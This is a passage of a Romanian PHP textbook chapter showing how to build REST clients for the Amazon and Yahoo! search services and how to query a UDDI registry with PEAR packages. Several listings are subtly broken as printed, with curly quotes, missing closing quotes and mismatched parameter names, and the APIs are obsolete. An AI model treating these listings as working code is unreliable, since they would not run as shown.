Termenul REST (Representational State Transfer) a fost introdus de Roy Fielding pentru
a descrie arhitectura Web, fiind un model pentru calculul distribuit. Atunci când este
aplicat serviciilor Web, implicã trei tehnologii: HTTP, URI ºi XML. În continuare vom
detalia noþiunea de serviciu Web REST.
Ca ºi alte tipuri de servicii Web, arhitectura REST este bazatã pe conceptul de
resursã. Unui serviciu Web REST îi sunt impuse urmãtoarele constrângeri:
1. Interfeþele sale sunt limitate la protocolul HTTP. Astfel, în REST sunt definite
urmãtoarele interfeþe:
• HTTP GET, utilizatã pentru a obþinere o reprezentare a unei resurse. Un consu-
mator utilizeazã metoda pentru a regãsi o reprezentare folosind un URI. Serviciile
furnizate prin aceastã interfaþã nu atrag nici o obligaþie din partea consumatorilor;
• HTTP DELETE, utilizatã pentru pentru a elimina reprezentãrile unei resurse;
• HTTP POST, utilizatã pentru actualizarea sau crearea reprezentãrilor unei resurse;
• HTTP PUT, utilizatã pentru crearea reprezentãrilor unei resurse.
PHP ªI SERVICIILE WEB 213

2. Mesajele utilizeazã formatul XML, putând fi validate prin specificaþii XML Schema
sau RELAX NG.
Serviciile Web REST necesitã o infrastructurã software minimalã, adicã una care sã
implementeze protocolul HTTP ºi tehnologii de procesare XML, suportate de cele mai
multe platforme ºi limbaje de programare.

Amazon ºi REST
Dupã cum aþi remarcat, filozofia serviciilor Web REST este aceea de a nu instala
instrumente suplimentare (pe client ºi server) pentru a trimite ºi primi date, ci de a le
utiliza pe cele deja existente. Utilizând tehnologii XML ca SAX, DOM, XSLT, XPath,
XQuery etc., datele XML obþinute pot fi prelucrate în forma doritã.
Mai multe companii (printre care Amazon ºi Yahoo!) au pus la dispoziþia progra-
matorilor servicii Web bazate pe REST. Clientul trimite o cerere HTTP GET serviciului.
Acesta proceseazã cererea ºi întoarce rezultatele obþinute fãrã a le modifica. REST
utilizeazã un ºir de interogare pentru a transmite o serie de parametri serviciului Web. În
continuare, vom prezenta un exemplu în care este realizat un client pentru accesarea
serviciului Amazon.
În directorul DocumentRoot, creaþi subdirectorul rest în care veþi salva fiºierele ce
includ codul-sursã prezentat în aceastã secþiune. Pentru început, va trebui sã obþinem
documentul XML (corespunzãtor cererii formulate) întors de serviciul de cãutare Amazon.
În acest scop, utilizaþi scriptul din listing-ul 7.12, pe care-l veþi salva în fiºierul
getXML.php:

7.12. Fiºierul getXML.php

<?php
$baseurl = ’http://xml.amazon.com/onca/xml3’;
$query_string = ’’;
/* Se stabilesc valori pentru parametrii care vor fi
trimisi serviciului */
$params = array(’ManufacturerSearch’ => ”O’Reilly”,
’mode’ => ’books’,
’sort’ => ’+salesrank’,
’page’ => 1,
’type’ => ’lite’,
’f’ => ’xml’,
’t’ => ’trachtenberg-20’ ,
’dev-t’ => ‚********************’ ,
);
// Se construieste sirul de interogare
foreach ($params as $key => $value) {
$query_string .= ”$key=” . urlencode($value) . ”&”;
}
// Se construieste URL-ul care va include parametrii cererii
$url = ”$baseurl?$query_string”;
214 PROGRAMAREA ÎN PHP

// Este creata o instanta a clasei DOMDocument


$xml = new DOMDocument();
/* Se incarca documentul XML din fisierul al carui URL este
precizat ca argument al functiei load() */
$xml->load($url);
// Se creeaza un document XML (ca sir) din reprezentarea DOM
echo $xml->saveXML();
?>

Dupã cum se poate observa, trebuie precizaþi o serie de parametri care vor fi trimiºi
serviciului. Aceºtia sunt valori ale elementelor tabloului $params. Ulterior, elementele
tabloului sunt extrase ºi introduse în ºirul de interogare $query_string . Acesta este
concatenat cu $baseurl, care conþine URL-ul serviciului, obþinându-se ºirul $url .
Semnificaþiile parametrilor sunt similare cu cele prezentate în secþiunea referitoare la
construcþia unui client SOAP pentru serviciul Amazon.com. Este adãugat parametrul f ,
având valoarea xml (în exemplul nostru), ceea ce înseamnã cã serviciul va întoarce un
document XML.
Dupã crearea unei instanþe a clasei DOMDocument, se încarcã, utilizând metoda
load(), documentul XML localizat la adresa $url, dupã care se afiºeazã ºirul întors
de metoda saveXML(). Iatã un fragment din acest document:
<?xml version=”1.0” encoding=”UTF-8” ?>
<ProductInfo
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:noNamespaceSchemaLocation=”http://xml.amazon.com/schemas3/
dev-lite.xsd”>
<Request>
<Args>
<Arg value=”” name=”UserAgent” />
<Arg value=”1Y30FNW9Z8E728G7JX5R” name=”RequestID” />
<Arg value=”us” name=”locale” />
<Arg value=”1” name=”page” />
<Arg value=”********************” name=”dev-t” />
<Arg value=”trachtenberg-20” name=”t” />
<Arg value=”xml” name=”f” />
<Arg value=”books” name=”mode” />
<Arg value=”O’Reilly” name=”ManufacturerSearch” />
<Arg value=”lite” name=”type” />
<Arg value=”salesrank” name=”sort” />
</Args>
</Request>
<TotalResults>1547</TotalResults>
<TotalPages>155</TotalPages>
<Details url=”http://www.amazon.com/exec/obidos/ASIN/...”>
<Asin>0596009410</Asin>
<ProductName>Mac OS X : The Missing Manual, Tiger Ed
(Missing Manual)</ProductName>
PHP ªI SERVICIILE WEB 215

<Catalog>Book</Catalog>
<Authors>
  <Author>David Pogue</Author>
</Authors>
<ReleaseDate>12 July, 2005</ReleaseDate>
<Manufacturer>O’Reilly</Manufacturer>
<ImageUrlSmall>http://images.amazon.com/images/P/
0596009410.01.THUMBZZZ.jpg</ImageUrlSmall>
<ImageUrlMedium>http://images.amazon.com/images/P/
0596009410.01.MZZZZZZZ.jpg</ImageUrlMedium>
<ImageUrlLarge>http://images.amazon.com/images/P/
0596009410.01.LZZZZZZZ.jpg</ImageUrlLarge>
<Availability>Usually ships in 24 hours</Availability>
<ListPrice>$29.95</ListPrice>
<OurPrice>$19.18</OurPrice>
<UsedPrice>$13.23</UsedPrice>
  </Details>
<!-- urmeaza informatii despre inca 9 lucrari -->
</ProductInfo>
Dupã cum se poate observa, elementul-rãdãcinã al documentului XML este
ProductInfo. Acesta are ca elemente-copil Request (include parametrii cererii),
TotalResults , TotalPages ºi nouã elemente Details. Fiecare element Details
are ca elemente-copil Asin, ProductName , Catalog, Authors, ReleaseDate ,
Manufacturer, ImageUrlSmall, ImageUrlMedium, ImageUrlLarge, Availability,
ListPrice ºi OurPrice. La rândul sãu, elementul Authors are ca elemente-copil
unul sau mai multe elemente Author.
De asemenea, se pot obþine informaþii despre elementele incluse în documentul XML
întors de serviciu utilizând ºi schema XML precizatã la începutul documentului: http://
xml.amazon.com/schemas3/dev-lite.xsd, care include definiþiile acestor elemente. În
general, Amazon Web Services oferã urmãtoarele documente în care sunt incluse
definiþiile elementelor utilizate în cererile ºi rãspunsurile SOAP ºi REST:
– „lite” DTD: http://xml.amazon.com/schemas3/dev-lite.dtd
– „heavy” DTD: http://xml.amazon.com/schemas3/dev-heavy.dtd
– „lite” XSD: http://xml.amazon.com/schemas3/dev-lite.xsd
– „heavy” XSD: http://xml.amazon.com/schemas3/dev-heavy.xsd
– SOAP WSDL: http://soap.amazon.com/schemas3/AmazonWebServices.wsdl
Documentul XML obþinut poate fi prelucrat în mai multe moduri. De exemplu, datele
incluse pot fi introduse într-o bazã de date, pot fi afiºate în browser dupã ce sunt
procesate sau transformate utilizând XSLT etc. În continuare, vom aplica metodele DOM
ºi SimpleXML (PHP versiunea 5.0 sau una ulterioarã) pentru procesarea documentului
XML. Salvaþi conþinutul listing-ului 7.13 în fiºierul getXHTML.php ºi executaþi-l (http://
127.0.0.1/rest/getXHTML.php):
216 PROGRAMAREA ÎN PHP

7.13. Fiºierul getXHTML.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Amazon</title>
</head>
<body>
<p style=’font-family: tahoma; font-size: 18px;
text-align: left;’>Amazon</p>
<?php
$baseurl = ’http://xml.amazon.com/onca/xml3’;
$query_string = ’’;
/* Se stabilesc valori pentru parametrii care vor fi
trimisi serviciului */
$params = array(’ManufacturerSearch’ => ”O’Reilly”,
’mode’ => ’books’,
’sort’ => ’+salesrank’,
’page’ => 1,
’type’ => ’lite’,
’f’ => ’xml’,
’t’ => ’trachtenberg-20’ ,
’dev-t’ => ’********************’ ,
);
// Se construieste sirul de interogare
foreach ($params as $key => $value) {
$query_string .= ”$key=” . urlencode($value) . ”&”;
}
$url = ”$baseurl?$query_string”;
// Este incarcat documentul XML
$xml = new DOMDocument();
/* Se incarca documentul XML din fisierul al carui URL este
precizat ca argument al functiei load() */
$xml->load($url);
// Se creeaza un document XML (ca sir) din reprezentarea DOM
$xml = $xml->saveXML();
$info = simplexml_load_string($xml);
foreach ($info->Details as $Details) {
echo ”<p><span style=’font-family: tahoma;
font-size: 14px; color: red’>
Titlu: ”.$Details->ProductName.”</span><br />
<span style=’font-family: tahoma; font-size: 14px;’>
Editura: ”.$Details->Manufacturer.”</span><br />
<span style=’font-family: tahoma; font-size: 14px;’>
Pret: ”.$Details->OurPrice.”</span><br /></p>”;
PHP ªI SERVICIILE WEB 217

}
?>
</body>
</html>

obþinute în urma execuþiei fiºierului clientAmazonSearchService.php

Accesaþi Amazon
Web Services REST.

Motor de cãutare cu PHP ºi Yahoo! Search Web Services


Yahoo! pune la dispoziþia utilizatorilor o serie de servicii Web bazate pe REST (http://
developer.yahoo.net/start), împãrþite în urmãtoarele grupe: Flickr, Maps, Music, RSS ºi
Search. Fiecare grupã include mai multe categorii. La rândul ei, fiecare categorie
include mai multe subcategorii cãrora le corespunde câte un serviciu. Astfel, grupa Search
(http://developer.yahoo.net/search) include urmãtoarele categorii: Audio, Content Analysis,
Image, Local, News, MyWeb, Video ºi Web. Categoria Web (http://developer.yahoo.net/
search/web) include subcategoriile Context Search, Related Suggestion, Spelling Suggestion
ºi Web Search. Utilitatea serviciilor Web oferite de Yahoo! constã în aceea cã rezultatele
cãutãrii pot fi integrate în situl propriu.
În continuare ne vom referi la grupa de servicii Search (Yahoo! Search Web Services).
Pentru a putea accesa serviciile incluse în aceastã grupã este necesar sã obþineþi un
identificator de aplicaþie (application ID), care va identifica aplicaþia dumneavoastrã.
Din categoria de servicii Web vom utiliza Web Search. Serviciile Yahoo! Web Search
Web Services limiteazã numãrul interogãrilor la cinci mii pe zi, provenite de la un acelaºi IP.
Puteþi obþine informaþii complete despre serviciul Web Search de la adresa
http://developer.yahoo.net/search/web/V1/webSearch.html. Aceste informaþii
precizeazã URI-ul cererii, parametrii care trebuie sã îl însoþeascã, precum ºi
elementele XML ºi atributele lor incluse în rãspuns. Documentul-schemã pentru rãs-
punsul serviciului este localizat la urmãtoarea adresã: http://api.search.yahoo.com/
WebSearchService/V1/WebSearchResponse.xsd.
218 PROGRAMAREA ÎN PHP

URL-ul cererii este http://api.search.yahoo.com/WebSearchService/V1/webSearch,


iar parametrii acesteia sunt:
• appid (ºir care conþine identificatorul aplicaþiei);
• query (ºir care conþine interogarea, construitã conform unor reguli precizate de
Yahoo! la http://help.yahoo.com/help/us/ysearch/tips/tips-04.html);
• type (precizeazã tipul cãutãrii, având trei valori posibile: all, any , phrase);
• results (întreg care precizeazã numãrul rezultatelor întoarse; valoarea implicitã
este 10, cea maximã fiind 50);
• start (întreg, valoarea implicitã fiind 1; este poziþia din care se numãrã rezultatele
întoarse; poziþia de final – start+results – 1 – nu poate depãºi 1.000);
• format (precizeazã formatul fiºierelor cãutate, având urmãtoarele valori posibile:
any, html, msword, pdf, ppt, rss , txt ºi xls; valoarea implicitã este any );
• adult_ok (valoarea 1 precizeazã cã pot fi întoarse rezultate cu conþinut destinat
adulþilor; lãsaþi acest parametru vid);
• similar_ok (valoarea 1 precizeazã cã sunt permise rezultate cu conþinut similar);
• language (ºir care precizeazã limba în care sunt scrise rezultatele întoarse; valoarea
implicitã este en; la http://developer.yahoo.net/search/languages.html obþineþi infor-
maþii suplimentare despre limbajele suportate);
• country (ºir care include codul de þarã al siturilor în care se doreºte sã se efectueze
cãutarea; dacã nu precizaþi nimic, cãutarea se va face indiferent de þarã);
• site (ºir care precizeazã un domeniu în care sã se efectueze cãutarea; valoarea
implicitã: ºirul vid; pot fi utilizate pânã la 15 domenii, ca în exemplul urmãtor:
site=www.yahoo.com&www.microsoft.com);
• subscription (ºir care precizeazã un cod al unui conþinut important pentru
utilizator, în care trebuie sã se efectueze cãutarea în mod obligatoriu; codurile
suportate pot fi gãsite la http://developer.yahoo.net/search/subscriptions.html; pot
fi trimise mai multe valori; valoarea implicitã este ºirul vid);
• license (precizeazã dacã se doreºte sã se întoarcã rezultate care includ conþinut
licenþiat; valorile posibile sunt: any, cc_any, cc_commercial ºi cc_modifiable;
valoarea implicitã este any).
Rãspunsul serviciului are urmãtoarele câmpuri:
• ResultSet (conþine toate rezultatele cãutãrii);
• Result (conþine un rezultat individual);
• totalResultsAvailable (conþine numãrul rezultatelor care corespund cãutãrii);
• totalResultsReturned (conþine numãrul rezultatelor întoarse; acesta poate fi
mai mic decât numãrul rezultatelor care corespund cãutãrii);
• firstResultPosition (poziþia primului rezultat al cãutãrii);
• Title (titlul unei pagini Web);
• Summary (conþine un text asociat unei pagini Web);
• Url (URL-ul unei pagini Web);
• ClickUrl (URL-ul pentru legarea paginii Web; în raport cu Url , conþine rezultate
folosite de Yahoo! pentru optimizarea cãutãrii);
• MimeType (conþine tipul MIME al paginii);
• ModificationDate (conþine data la care pagina a fost modificatã ultima oarã; este
precizatã utilizând formatul unix timestamp);
• Cache (conþine URL-ul – Url – rezultatului aflat în cache ºi lungimea acestuia –
Size –, exprimatã în octeþi).
PHP ªI SERVICIILE WEB 219

Pentru a determina relaþiile de subordonare dintre elementele rãspunsului, trebuie


analizat ºi conþinutul documentului-schemã al acestuia:
<?xml version=”1.0” encoding=”utf-8” ?>
<xs:schema xmlns:xs=”http://www.w3.org/2001/XMLSchema”
targetNamespace=”urn:yahoo:srch”
xmlns=”urn:yahoo:srch” elementFormDefault=”qualified”>
<xs:element name=”ResultSet”>
<xs:complexType>
<xs:sequence>
  <xs:element name=”Result” type=”ResultType”
minOccurs=”0” maxOccurs=”50” />
</xs:sequence>
<xs:attribute name=”totalResultsAvailable”
type=”xs:integer” />
<xs:attribute name=”totalResultsReturned”
type=”xs:integer” />
<xs:attribute name=”firstResultPosition”
type=”xs:integer” />
  </xs:complexType>
  </xs:element>
<xs:complexType name=”ResultType”>
<xs:sequence>
<xs:element name=”Title” type=”xs:string” />
<xs:element name=”Summary” type=”xs:string” />
<xs:element name=”Url” type=”xs:string” />
<xs:element name=”ClickUrl” type=”xs:string” />
<xs:element name=”ModificationDate” type=”xs:string”
minOccurs=”0” />
<xs:element name=”MimeType” type=”xs:string”
minOccurs=”0” />
<xs:element name=”Cache” type=”CacheType” minOccurs=”0” />
  </xs:sequence>
  </xs:complexType>
<xs:complexType name=”CacheType”>
<xs:sequence>
<xs:element name=”Url” type=”xs:string” />
<xs:element name=”Size” type=”xs:string” />
  </xs:sequence>
  </xs:complexType>
</xs:schema>

Din documentul prezentat se poate observa cã elementul-rãdãcinã al documentului


XML întors este ResultSet. Acesta are atributele totalResultsAvailable ,
totalResultsReturned ºi firstResultPosition ºi poate include cel mult 50 de
elemente Result. Un element Result include ca elemente-copil Title, Summary ,
Url, ClickUrl, ModificationDate ºi Cache. La rândul lui, un element Cache
220 PROGRAMAREA ÎN PHP

include elementele-copil Url ºi Size. Semnificaþiile acestor elemente ºi atribute au fost


precizate anterior. Toate aceste informaþii pot fi obþinute ºi în cazul în care se analizeazã
rãspunsul XML la o cerere particularã. Salvaþi conþinutul listing-ului 7.14 în fiºierul
getXMLYahoo.php.

7.14. Fiºierul getXMLYahoo.php


<?php
$baseurl = ’http://api.search.yahoo.com/WebSearchService/
V1/webSearch’;
$query_string = ’’;
// Se precizeaza parametrii cererii
$params = array(’appid’ => ’*******************’,
’query’ => ’Einstein,
’type’ => ’all’,
’results’ => 10,
’start’ => 1,
’format’ => ’any’,
’adult-ok’ => ’’ ,
’similar-ok’ => ’any’ ,
’language’ => ’’,
’country’ => ’’,
’site’ => ’’,
’subscription’ =>’’,
’license’ => ’any’
);
// Se creeaza un sir care include parametrii cererii
foreach ($params as $key => $value) {
$query_string .= ”$key=” . urlencode($value) . ”&”;
}
// Se construieste URL-ul care va include parametrii cererii
$url = ”$baseurl?$query_string”;
// Este creata o instanta a clasei DOMDocument
$xml = new DOMDocument();
/* Se incarca documentul XML din fisierul al carui URL este
precizat ca argument al functiei load() */
$xml->load($url);
// Se creeaza un document XML (ca sir) din reprezentarea DOM
echo $xml->saveXML();
?>

Dupã execuþia scriptului (http://127.0.0.1/rest/getXMLYahoo.php), browserul va


afiºa documentul XML trimis de serviciu. Analizând acest document, puteþi observa
elementele rãspunsului ºi atributele acestora. Dupã aceastã analizã, se poate scrie un
client care sã gestioneze – în modul dorit de programator – rãspunsul XML al serviciului.
Clientul propus de noi va realiza procesarea SimpleXML a rãspunsului. Salvaþi conþinutul
listing-ului 7.15 în fiºierul getXHTMLYahoo.php.
PHP ªI SERVICIILE WEB 221

7.15. Fiºierul getXHTMLYahoo.php


<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Yahoo</title>
</head>
<body>
<p style=’font-family: tahoma; font-size: 18px;
text-align: left;’>Yahoo! Web Search Web Services</p>
<?php
$baseurl = ’http://api.search.yahoo.com/WebSearchService/
V1/webSearch’;
$query_string = ’’;
$params = array(’appid’ => ’*******************’,
’query’ => ’Einstein’,
’type’ => ‘all’,
’results’ => 10,
’start’ => 1,
’format’ => ’any,
’adult-ok’=> ’’ ,
’similar-ok’ => ’any’,
‘language’ => ’’,
‘country’ => ’’,
‘site’ => ’’,
’subscription’ =>’’,
’license’ => ’any’
);
foreach ($params as $key => $value) {
$query_string .= ”$key=” . urlencode($value) . ”&”;
}
$url = ”$baseurl?$query_string”;
$xml = new DOMDocument();
$xml->load($url);
$xml = $xml->saveXML();
$info = simplexml_load_string($xml);
foreach($info->attributes() as $name=>$attr)
$res[$name] = $attr;
$first = $res[’firstResultPosition’];
$last = $first + $res[’totalResultsReturned’]-1;
echo ”<p>Rezultate gasite ${res[totalResultsAvailable]};
in aceasta pagina: de la $first la $last</p>\n”;
foreach ($info->Result as $Result) {
echo ”<p><a href=’”.$Result->Url.”’>”
.$Result->Title.”</a><br />”
222 PROGRAMAREA ÎN PHP

.$Result->Summary.”<br /></p>”;
}
?>
</body>
</html>

Iatã o parte dintre rezultatele obþinute în urma execuþiei fiºierului getXHTMLYahoo.php


(http://127.0.0.1/rest/getXHTMLYahoo.php):

obþinute în urma execuþiei fiºierului getXHTMLYahoo.php

Utilizaþi Yahoo! Web


Search Web Services.

Aici, se realizeazã
o cãutare dupã
cuvântul-cheie Einstein.

REST cu PEAR::HTTP_Request ºi PEAR::XML_Serializer


În cele douã secþiuni anterioare, pentru implementarea REST au fost utilizate modelul
DOM ºi SimpleXML (pentru trimiterea cererii, obþinerea documentului XML rãspuns ºi
deserializarea acestuia). În aceastã secþiune vã prezentãm o aplicaþie (listing-ul 7.15)
care implementeazã REST prin utilizarea pachetelor PEAR::HTTP_Request (pentru
trimiterea cererii ºi obþinerea documentului XML) ºi PEAR::XML_Serializer (pentru
deserializarea documentului XML obþinut). Deoarece aþi instalat deja pachetul
PEAR::XML_Serializer, nu vã mai rãmâne decât sã instalaþi ºi pachetul
XML::HTTP_Request:
pear install -o HTTP_Request

Pachetul PEAR::HTTP_Request, dezvoltat de Richard Heyes ºi Alexei Borzov,


permite trimiterea cererilor HTTP din scripturile PHP. El include definiþiile claselor
HTTP_Request ºi HTTP_Response .
Pachetul PEAR::XML_Serializer conþine definiþiile claselor XML_Serializer ºi
XML_Unserializer . În aceastã secþiune va fi utilizatã clasa XML_Unserializer.
Aceasta utilizeazã documente XML pentru a crea date PHP complexe (i.e., tablouri ºi
obiecte), care reprezintã datele stocate în documentele respective.
PHP ªI SERVICIILE WEB 223

Scriptul din listing-ul 7.15 include un client pentru serviciul Amazon. Salvaþi scriptul
în fiºierul rest.php.

7.15. Fiºierul rest.php

<?php
require_once(’HTTP/Request.php’);
require_once (’XML/Unserializer.php’);
$baseurl = (’http://xml.amazon.com/onca/xml3’);
$query_string = ’’;
$params = array(’ManufacturerSearch’ => ’O\’Reilly’,
’mode’ => ’books’,
’sort’ => ’+salesrank’,
’page’ => 1,
’type’ => ’lite’,
’f’ => ’xml’,
’t’ => ’trachtenberg-20’ ,
’dev-t’ => ’********************’,
);
foreach ($params as $key => $value) {
$query_string .= ”$key=” . urlencode($value) . ”&”;
}
$amazon_url = ”$baseurl?$query_string”;
// Se creeaza un obiect HTTP_Request, specificand un URL
$Request = &new HTTP_Request($amazon_url);
// Se trimite cererea catre server
$status = $Request->sendRequest();
// Se verifica daca sunt erori
if (PEAR::isError($status)) {
die(”Problema la conectare: ” . $status->toString());
}
// Daca sunt probleme...
if ($Request->getResponseCode() != ’200’) {
die(”Cerere esuata: ” . $Request->getResponseCode());
}
// Se obtine corpul XML al raspunsului trimis de Amazon
$amazon_xml = $Request->getResponseBody();
// Se creeaza un obiect XML_Unserializer
$Unserializer = new XML_Unserializer();
// Se deserializeaza corpul XML obtinut anterior
$status = $Unserializer->unserialize($amazon_xml);
// Se verifica daca sunt erori
if (PEAR::isError($status)) {
die($status->getMessage());
}
// Se obtin datele PHP din XML
$amazon_data = $Unserializer->getUnserializedData($amazon_xml);
224 PROGRAMAREA ÎN PHP

?>
<!DOCTYPE html PUBLIC ”-//W3C//DTD XHTML 1.0 Strict//EN”
”http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”
lang=”en” xml:lang=”en”>
<head>
<title>Amazon Search</title>
</head>
<body>
<h1>Amazon Search</h1>
<table>
<tr>
<td>
<?php
if(isset($amazon_data))
foreach ($amazon_data[’Details’] as $details) {
?>
<table width=”500”>
<tr>
<td align=’center’><b>
<?php echo nl2br(wordwrap($details[’ProductName’],
30)); ?></b>
</td>
<td rowspan=”2” align=”right”>
<img src=”<?php echo $details[’ImageUrlSmall’]; ?>” />
</td>
</tr>
<tr>
<td>
<?php
$Authors=$details[’Authors’];
$Auths=$Authors[’Author’];
if(is_array($Auths)) {
echo ”Authors:”;
foreach($Auths as $author)
echo ”<br />&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;” . $author;
}
else{
echo ”Author:”;
echo $Auths;
}
?><br />
ISBN: <?php echo $details[’Asin’]; ?><br />
Price: <?php echo $details[’OurPrice’]; ?><br />
</td>
PHP ªI SERVICIILE WEB 225

</tr>
</table>
<?php
}
?>
</td>
</tr>
</table>
</body>
</html>

Constructorul clasei HTTP_Request trebuie sã primeascã un URL ca argument.


Metoda HTTP_Request::sendRequest() trimite cererea cãtre server. Metoda
HTTP_Request()::getResponseBody() întoarce corpul rãspunsului serverului (adicã
documentul XML).
Constructorul XML_Unserializer creeazã o nouã instanþã a clasei XML_Unserializer.
Metoda XML_Unserializer::unseralize() deserializeazã un document XML
dintr-un ºir sau un fiºier (transmise ca argument). Întoarce TRUE în caz de succes ºi un
obiect PEAR_Error în caz contrar.
Metoda XML_Unserializer::getUnserializedData() întoarce rezultatul ulti-
mei deserializãri (ca tablou sau obiect). Pentru a obþine cheile tabloului întors de aceastã
metodã puteþi utiliza scriptul inclus în listing-ul 7.16:
7.16. Fiºierul body.php
<?php
require_once(’HTTP/Request.php’);
$baseurl = ’http://xml.amazon.com/onca/xml3’;
$query_string = ’’;
$params = array(’ManufacturerSearch’ => ’O\’Reilly’,
’mode’ => ’books’,
’sort’ => ’+salesrank’,
’page’ => 1,
’type’ => ’lite’,
‘f’ => ‘xml’,
’t’ => ’trachtenberg-20’,
’dev-t’ => ’********************’,
);
foreach ($params as $key => $value) {
$query_string .= ”$key=” . urlencode($value) . ”&”;
}
$amazon_url = ”$baseurl?$query_string”;
// Se creeaza un obiect HTTP_Request, specificand un URL
$Request = &new HTTP_Request($amazon_url);
// Se trimite cererea catre server
$status = $Request->sendRequest();
// Se obtine corpul XML al raspunsului trimis de Amazon
$amazon_xml = $Request->getResponseBody();
226 PROGRAMAREA ÎN PHP

header(”Content-Type: text/xml”);
echo $amazon_xml;
?>

Rãspunsul afiºat de browser dupã execuþia scriptului body.php va fi identic cu cel


afiºat în secþiunea „Amazon ºi REST” a acestui capitol, dupã execuþia scriptului
getXML.php. Analizând rãspunsul respectiv, puteþi sã identificaþi cheile elementelor
componente ale tabloului întors de metoda XML_Unserializer::getUnserializedData()
ºi sã le utilizaþi pentru a afiºa elementele respective. În scriptul inclus în rest.php am
utilizat elementul având cheia Details al tabloului întors, care, la rândul lui, este tot un
tablou (elementele utilizate în script ale acestui din urmã tablou sunt urmãtoarele:
Details[’Asin’], Details[’ProductName’] , Details[’Authors’] , Details
[’ImageUrlSmall’] ºi Details[’OurPrice’]).

În cãutarea serviciilor Web


Cum putem cãuta serviciile Web într-un nod UBR (UDDI Business Registry)? Unul
dintre rãspunsurile la aceastã întrebare poate fi: utilizând siturile Web puse la dispoziþie
de operatorii de regiºtri (e.g., Microsoft UDDI Business Registry Node, https://
uddi.microsoft.com). Alt rãspuns este urmãtorul: accesând regiºtrii operatorilor de
noduri prin intermediul serviciilor Web puse la dispoziþie de aceºtia, utilizând scripturi
scrise într-un limbaj de programare Web pentru server. În plus, utilizarea acestor scripturi
permite integrarea rezultatelor cãutãrii în situl propriu.
Modulul PHP SOAP nu include funcþii necesare accesãrii unui UBR. Aceastã funcþio-
nalitate este asiguratã, în schimb, de pachetul PEAR::UDDI, dezvoltat de Christian
Webz ºi Tobias Hauser, care suportã UDDI 2.0. Pentru început, este necesar sã instalaþi
acest pachet:
pear install -o UDDI-alpha
Pachetul PEAR::UDDI include scriptul UDDI.php. Acesta conþine definiþia clasei
UDDI, care extinde clasa de bazã PEAR. Clasa UDDI suportã douã interfeþe API, anume
Inquiry (implicitã) ºi Publish.
Creaþi subdirectorul uddi, în care veþi salva fiºierele din aceastã secþiune. În continuare
vom prezenta un exemplu de utilizare a pachetului PEAR::UDDI, folosind Microsoft
UDDI Business Registry Node. Scriptul inclus în listing-ul 7.17 cere nodului UBR
Microsoft sã-i returneze date despre toate serviciile înregistrate ale cãror nume includ
ºirul IBM. Salvaþi acest script în fiºierul getresponse.php.
7.17. Fiºierul getresponse.php
<?php
require_once(’UDDI/UDDI.php’);
$uddi = new UDDI(’Microsoft’, 2);
$options = array(
’findQualifiers’ => ’sortByNameAsc,sortByDateAsc’,
’maxRows’ => 20,
’name’ => ’%IBM%’);
PHP ªI SERVICIILE WEB 227

$result = htmlspecialchars($uddi->query(’find_business’,
$options));
echo ”<pre>$result</pre>”;
?>
În scriptul anterior au fost utilizate urmãtoarele metode:
– constructorul UDDI::UDDI – primeºte ca argumente numele registrului UBR care va
fi utilizat pentru cãutare (valorile posibile sunt IBM ºi Microsoft) ºi (ca parametru
opþional) versiunea UDDI utilizatã (valorile posibile sunt 1 , 2 ºi 3 , valoarea implicitã
fiind 1; se recomandã utilizarea versiunii 2 );
– metoda UDDI::query() – trimite o interogare serverului care gãzduieºte registrul.
Ea primeºte ca argumente mesajul UDDI (adicã numele operaþiunii care trebuie
realizatã de registru) ºi un tablou cu parametri de interogare, întorcând sub formã de
ºir rãspunsul serverului.
Iatã o parte din rãspunsul întors de server (mesajul SOAP) ºi afiºat de browser, dupã
execuþia scriptului getresponse.php (http://127.0.0.1/uddi/getresponse.php):
HTTP/1.1 200 OK
Connection: close
Date: Fri, 23 Sep 2005 18:15:52 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private, max-age=0
Content-Type: text/xml; charset=utf-8
Content-Length: 1995

<?xml version=”1.0” encoding=”utf-8”?>


<soap:Envelope
xmlns:soap=”http://schemas.xmlsoap.org/soap/envelope/”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xmlns:xsd=”http://www.w3.org/2001/XMLSchema”>
<soap:Body>
<businessList generic=”2.0” operator=”Microsoft Corporation”
truncated=”false” xmlns=”urn:uddi-org:api_v2”>
<businessInfos>
<businessInfo
businessKey=”1b2f1590-1fa7-42ef-9b0e-d590dc168aab”>
<name xml:lang=”en”>IBM Almaden Research Center</name>
<description xml:lang=”en” />
<serviceInfos />
</businessInfo>
<businessInfo
businessKey=”56b171ac-6e98-482a-91a2-7995c4e4b364”>
<name xml:lang=”en”>IBM WSTK Demo</name>
<description xml:lang=”en”>IBM WSTK Demo</description>
<serviceInfos />
228 PROGRAMAREA ÎN PHP

</businessInfo>
<businessInfo
businessKey=”84825cd2-d874-4b5b-8c70-79be8f870775”>
<name xml:lang=”en”>IBM WSTK Demo</name>
<description xml:lang=”en” />
<serviceInfos />
</businessInfo>
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
</businessInfos>
</businessList>
</soap:Body>
</soap:Envelope>

Analiza structurii mesajului SOAP permite programatorului sã afiºeze rezultatul


întors în modul dorit de acesta. Scriptul inclus în listing-ul 7.18 vã permite sã obþineþi
lista serviciilor Web înregistrate, care includ în numele lor ºirul IBM. Salvaþi acest script
în fiºierul getservices.php:

7.18. Fiºierul getservices.php


<?php
require_once(’UDDI/UDDI.php’);
$uddi = new UDDI(’Microsoft’, 2);
$options = array(
’findQualifiers’ => ’sortByNameAsc,sortByDateAsc’,
’maxRows’ => 20,
’name’ => ’%IBM%’);
$result = $uddi->query(’find_business’, $options);
preg_match_all(’/<name.*?>(.*)<\/name>/’, $result, $hits);
echo ’<ul><li>’ . implode(’</li><li>’, $hits[1]) . ’</li></ul>’;
?>

Microsoft opereazã urmãtoarele douã noduri UBR publice, accesibile prin interfeþe
de programare UDDI:
